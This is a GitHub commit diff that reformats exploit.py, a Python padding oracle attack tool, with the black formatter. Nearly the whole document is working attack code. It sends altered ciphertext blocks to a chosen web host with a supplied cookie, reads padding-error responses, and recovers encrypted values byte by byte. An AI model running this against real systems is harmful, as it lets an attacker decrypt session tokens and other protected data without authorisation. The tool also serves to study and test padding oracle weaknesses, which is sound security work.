Skip to content

Commit 179a340

Browse files
authored
Merge pull request #2 from towynlin/blacken
Standardizes formatting with black
2 parents ee98c03 + ca9cdd7 commit 179a340

File tree

2 files changed

+311
-175
lines changed

2 files changed

+311
-175
lines changed

exploit.py

+172-88
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,11 @@
11
#! /usr/bin/python
22

3-
'''
3+
"""
44
Padding Oracle Attack implementation of this article https://not.burntout.org/blog/Padding_Oracle_Attack/
55
Check the readme for a full cryptographic explanation
66
Author: mpgn <[email protected]>
77
Date: 2016
8-
'''
8+
"""
99

1010
import argparse
1111
import http.client
@@ -18,8 +18,10 @@
1818
####################################
1919
# CUSTOM YOUR RESPONSE ORACLE HERE #
2020
####################################
21-
''' the function you want change to adapte the result to your problem '''
22-
def test_validity(response,error):
21+
""" the function you want change to adapte the result to your problem """
22+
23+
24+
def test_validity(response, error):
2325

2426
try:
2527
value = int(error)
@@ -34,159 +36,241 @@ def test_validity(response,error):
3436
return 1
3537
return 0
3638

39+
3740
################################
3841
# CUSTOM YOUR ORACLE HTTP HERE #
3942
################################
40-
def call_oracle(host,cookie,url,post,method,up_cipher):
43+
def call_oracle(host, cookie, url, post, method, up_cipher):
4144
if post:
4245
params = urlencode({post})
4346
else:
4447
params = urlencode({})
45-
headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain", 'Cookie': cookie}
48+
headers = {
49+
"Content-type": "application/x-www-form-urlencoded",
50+
"Accept": "text/plain",
51+
"Cookie": cookie,
52+
}
4653
conn = http.client.HTTPConnection(host)
4754
conn.request(method, url + up_cipher, params, headers)
4855
response = conn.getresponse()
4956
return conn, response
5057

58+
5159
# the exploit don't need to touch this part
5260
# split the cipher in len of size_block
5361
def split_len(seq, length):
54-
return [seq[i:i+length] for i in range(0, len(seq), length)]
62+
return [seq[i : i + length] for i in range(0, len(seq), length)]
63+
64+
65+
""" create custom block for the byte we search"""
66+
5567

56-
''' create custom block for the byte we search'''
5768
def block_search_byte(size_block, i, pos, l):
58-
hex_char = hex(pos).split('0x')[1]
59-
return "00"*(size_block-(i+1)) + ("0" if len(hex_char)%2 != 0 else '') + hex_char + ''.join(l)
69+
hex_char = hex(pos).split("0x")[1]
70+
return (
71+
"00" * (size_block - (i + 1))
72+
+ ("0" if len(hex_char) % 2 != 0 else "")
73+
+ hex_char
74+
+ "".join(l)
75+
)
76+
77+
78+
""" create custom block for the padding"""
79+
6080

61-
''' create custom block for the padding'''
6281
def block_padding(size_block, i):
6382
l = []
64-
for t in range(0,i+1):
65-
l.append(("0" if len(hex(i+1).split('0x')[1])%2 != 0 else '') + (hex(i+1).split('0x')[1]))
66-
return "00"*(size_block-(i+1)) + ''.join(l)
83+
for t in range(0, i + 1):
84+
l.append(
85+
("0" if len(hex(i + 1).split("0x")[1]) % 2 != 0 else "")
86+
+ (hex(i + 1).split("0x")[1])
87+
)
88+
return "00" * (size_block - (i + 1)) + "".join(l)
89+
6790

6891
def hex_xor(s1, s2):
6992
b = bytearray()
7093
for c1, c2 in zip(bytes.fromhex(s1), cycle(bytes.fromhex(s2))):
7194
b.append(c1 ^ c2)
7295
return b.hex()
7396

74-
def run(cipher,size_block,host,url,cookie,method,post,error):
75-
cipher = cipher.upper()
76-
found = False
97+
98+
def run(cipher, size_block, host, url, cookie, method, post, error):
99+
cipher = cipher.upper()
100+
found = False
77101
valide_value = []
78-
result = []
79-
len_block = size_block*2
102+
result = []
103+
len_block = size_block * 2
80104
cipher_block = split_len(cipher, len_block)
81105

82106
if len(cipher_block) == 1:
83107
print("[-] Abort there is only one block")
84-
sys.exit()
85-
#for each cipher_block
86-
for block in reversed(range(1,len(cipher_block))):
108+
sys.exit()
109+
# for each cipher_block
110+
for block in reversed(range(1, len(cipher_block))):
87111
if len(cipher_block[block]) != len_block:
88112
print("[-] Abort length block doesn't match the size_block")
89113
break
90114
print("[+] Search value block : ", block, "\n")
91-
#for each byte of the block
92-
for i in range(0,size_block):
115+
# for each byte of the block
116+
for i in range(0, size_block):
93117
# test each byte max 255
94-
for ct_pos in range(0,256):
118+
for ct_pos in range(0, 256):
95119
# 1 xor 1 = 0 or valide padding need to be checked
96-
if ct_pos != i+1 or (len(valide_value) > 0 and int(valide_value[-1],16) == ct_pos):
120+
if ct_pos != i + 1 or (
121+
len(valide_value) > 0 and int(valide_value[-1], 16) == ct_pos
122+
):
97123

98-
bk = block_search_byte(size_block, i, ct_pos, valide_value)
99-
bp = cipher_block[block-1]
100-
bc = block_padding(size_block, i)
124+
bk = block_search_byte(size_block, i, ct_pos, valide_value)
125+
bp = cipher_block[block - 1]
126+
bc = block_padding(size_block, i)
101127

102-
tmp = hex_xor(bk,bp)
103-
cb = hex_xor(tmp,bc).upper()
128+
tmp = hex_xor(bk, bp)
129+
cb = hex_xor(tmp, bc).upper()
104130

105-
up_cipher = cb + cipher_block[block]
106-
#time.sleep(0.5)
131+
up_cipher = cb + cipher_block[block]
132+
# time.sleep(0.5)
107133

108134
# we call the oracle, our god
109-
connection, response = call_oracle(host,cookie,url,post,method,up_cipher)
135+
connection, response = call_oracle(
136+
host, cookie, url, post, method, up_cipher
137+
)
110138

111139
if args.verbose == True:
112-
exe = re.findall('..',cb)
113-
discover = ('').join(exe[size_block-i:size_block])
114-
current = ('').join(exe[size_block-i-1:size_block-i])
115-
find_me = ('').join(exe[:-i-1])
140+
exe = re.findall("..", cb)
141+
discover = ("").join(exe[size_block - i : size_block])
142+
current = ("").join(exe[size_block - i - 1 : size_block - i])
143+
find_me = ("").join(exe[: -i - 1])
116144

117-
sys.stdout.write("\r[+] Test [Byte %03i/256 - Block %d ]: \033[31m%s\033[33m%s\033[36m%s\033[0m" % (ct_pos, block, find_me, current, discover))
145+
sys.stdout.write(
146+
"\r[+] Test [Byte %03i/256 - Block %d ]: \033[31m%s\033[33m%s\033[36m%s\033[0m"
147+
% (ct_pos, block, find_me, current, discover)
148+
)
118149
sys.stdout.flush()
119150

120-
if test_validity(response,error):
151+
if test_validity(response, error):
121152

122153
found = True
123154
connection.close()
124-
155+
125156
# data analyse and insert in rigth order
126-
value = re.findall('..',bk)
127-
valide_value.insert(0,value[size_block-(i+1)])
157+
value = re.findall("..", bk)
158+
valide_value.insert(0, value[size_block - (i + 1)])
128159

129160
if args.verbose == True:
130-
print('')
161+
print("")
131162
print("[+] HTTP ", response.status, response.reason)
132-
print("[+] Block M_Byte : %s"% bk)
133-
print("[+] Block C_{i-1}: %s"% bp)
134-
print("[+] Block Padding: %s"% bc)
135-
print('')
136-
137-
bytes_found = ''.join(valide_value)
138-
if i == 0 and int(bytes_found, 16) > size_block and block == len(cipher_block)-1:
139-
print("[-] Error decryption failed the padding is > "+str(size_block))
163+
print("[+] Block M_Byte : %s" % bk)
164+
print("[+] Block C_{i-1}: %s" % bp)
165+
print("[+] Block Padding: %s" % bc)
166+
print("")
167+
168+
bytes_found = "".join(valide_value)
169+
if (
170+
i == 0
171+
and int(bytes_found, 16) > size_block
172+
and block == len(cipher_block) - 1
173+
):
174+
print(
175+
"[-] Error decryption failed the padding is > "
176+
+ str(size_block)
177+
)
140178
sys.exit()
141179

142-
print('\033[36m' + '\033[1m' + "[+]" + '\033[0m' + " Found", i+1, "bytes :", bytes_found)
143-
print('')
180+
print(
181+
"\033[36m" + "\033[1m" + "[+]" + "\033[0m" + " Found",
182+
i + 1,
183+
"bytes :",
184+
bytes_found,
185+
)
186+
print("")
144187

145-
break
188+
break
146189
if found == False:
147190
# lets say padding is 01 for the last byte of the last block (the padding block)
148-
if len(cipher_block)-1 == block and i == 0:
149-
value = re.findall('..',bk)
150-
valide_value.insert(0,"01")
191+
if len(cipher_block) - 1 == block and i == 0:
192+
value = re.findall("..", bk)
193+
valide_value.insert(0, "01")
151194
if args.verbose == True:
152-
print('')
153-
print('[-] No padding found, but maybe the padding is length 01 :)')
154-
print("[+] Block M_Byte : %s"% bk)
155-
print("[+] Block C_{i-1}: %s"% bp)
156-
print("[+] Block Padding: %s"% bc)
157-
print('')
158-
bytes_found = ''.join(valide_value)
195+
print("")
196+
print(
197+
"[-] No padding found, but maybe the padding is length 01 :)"
198+
)
199+
print("[+] Block M_Byte : %s" % bk)
200+
print("[+] Block C_{i-1}: %s" % bp)
201+
print("[+] Block Padding: %s" % bc)
202+
print("")
203+
bytes_found = "".join(valide_value)
159204
else:
160205
print("\n[-] Error decryption failed")
161-
result.insert(0, ''.join(valide_value))
162-
hex_r = ''.join(result)
206+
result.insert(0, "".join(valide_value))
207+
hex_r = "".join(result)
163208
print("[+] Partial Decrypted value (HEX):", hex_r.upper())
164-
padding = int(hex_r[len(hex_r)-2:len(hex_r)],16)
165-
print("[+] Partial Decrypted value (ASCII):", bytes.fromhex(hex_r[0:-(padding*2)]).decode())
209+
padding = int(hex_r[len(hex_r) - 2 : len(hex_r)], 16)
210+
print(
211+
"[+] Partial Decrypted value (ASCII):",
212+
bytes.fromhex(hex_r[0 : -(padding * 2)]).decode(),
213+
)
166214
sys.exit()
167215
found = False
168216

169-
result.insert(0, ''.join(valide_value))
217+
result.insert(0, "".join(valide_value))
170218
valide_value = []
171219

172-
print('')
173-
hex_r = ''.join(result)
220+
print("")
221+
hex_r = "".join(result)
174222
print("[+] Decrypted value (HEX):", hex_r.upper())
175-
padding = int(hex_r[len(hex_r)-2:len(hex_r)],16)
176-
print("[+] Decrypted value (ASCII):", bytes.fromhex(hex_r[0:-(padding*2)]).decode())
177-
178-
if __name__ == '__main__':
179-
180-
parser = argparse.ArgumentParser(description='Exploit of Padding Oracle Attack')
181-
parser.add_argument('-c', "--cipher", required=True, help='cipher you want to decrypt')
182-
parser.add_argument('-l', '--length_block_cipher', required=True, type=int, help='lenght of a block cipher: 8,16')
183-
parser.add_argument("--host", required=True, help='url example: /page=')
184-
parser.add_argument('-u', "--urltarget", required=True, help='url example: /page=')
185-
parser.add_argument('--error', required=True, help='Error that oracle give us example: 404,500,200 OR in the dom example: "<h2>Padding Error<h2>"')
186-
parser.add_argument('--cookie', help='Cookie example: PHPSESSID=9nnvje7p90b507shfmb94d7', default="")
187-
parser.add_argument('--method', help='Type methode like POST GET default GET', default="GET")
188-
parser.add_argument('--post', help="POST data example: 'user':'value', 'pass':'value'", default="")
189-
parser.add_argument('-v', "--verbose", help='debug mode, you need a large screen', action="store_true")
223+
padding = int(hex_r[len(hex_r) - 2 : len(hex_r)], 16)
224+
print(
225+
"[+] Decrypted value (ASCII):",
226+
bytes.fromhex(hex_r[0 : -(padding * 2)]).decode(),
227+
)
228+
229+
230+
if __name__ == "__main__":
231+
232+
parser = argparse.ArgumentParser(description="Exploit of Padding Oracle Attack")
233+
parser.add_argument(
234+
"-c", "--cipher", required=True, help="cipher you want to decrypt"
235+
)
236+
parser.add_argument(
237+
"-l",
238+
"--length_block_cipher",
239+
required=True,
240+
type=int,
241+
help="lenght of a block cipher: 8,16",
242+
)
243+
parser.add_argument("--host", required=True, help="url example: /page=")
244+
parser.add_argument("-u", "--urltarget", required=True, help="url example: /page=")
245+
parser.add_argument(
246+
"--error",
247+
required=True,
248+
help='Error that oracle give us example: 404,500,200 OR in the dom example: "<h2>Padding Error<h2>"',
249+
)
250+
parser.add_argument(
251+
"--cookie", help="Cookie example: PHPSESSID=9nnvje7p90b507shfmb94d7", default=""
252+
)
253+
parser.add_argument(
254+
"--method", help="Type methode like POST GET default GET", default="GET"
255+
)
256+
parser.add_argument(
257+
"--post", help="POST data example: 'user':'value', 'pass':'value'", default=""
258+
)
259+
parser.add_argument(
260+
"-v",
261+
"--verbose",
262+
help="debug mode, you need a large screen",
263+
action="store_true",
264+
)
190265
args = parser.parse_args()
191266

192-
run(args.cipher, args.length_block_cipher, args.host, args.urltarget, args.cookie, args.method, args.post, args.error)
267+
run(
268+
args.cipher,
269+
args.length_block_cipher,
270+
args.host,
271+
args.urltarget,
272+
args.cookie,
273+
args.method,
274+
args.post,
275+
args.error,
276+
)

0 commit comments

Comments
 (0)